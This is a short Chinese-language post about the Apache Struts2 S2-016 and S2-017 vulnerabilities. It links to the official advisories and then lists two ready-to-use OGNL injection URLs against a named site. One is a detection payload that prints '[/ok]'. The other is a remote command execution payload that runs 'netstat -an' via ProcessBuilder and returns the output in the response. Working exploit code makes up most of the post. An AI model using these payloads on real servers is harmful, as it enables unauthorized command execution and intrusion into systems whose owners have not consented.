struts2 最新S2-016-S2-017漏洞通杀struts2所有版本

Struts2这个不争气的家伙。已经无话可说了。 







POC来自官方：
http://struts.apache.org/release/2.3.x/docs/s2-016.html http://struts.apache.org/release/2.3.x/docs/s2-017.html
检测是否存在（输出[/ok]即存在）：
http://www.8090sec.com/Struts2/test.action?redirect:${%23w%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23w.println('[/ok]'),%23w.flush(),%23w.close()}
命令执行:
http://www.8090sec.com/struts2-blank/example/HelloWorld.action?
redirect:${

%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(),

%23b%3d%23a.getInputStream(),

%23c%3dnew java.io.InputStreamReader(%23b),

%23d%3dnew java.io.BufferedReader(%23c),

%23e%3dnew char[50000],%23d.read(%23e),

%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),

%23matt.getWriter().println(%23e),

%23matt.getWriter().flush(),

%23matt.getWriter().close()

}
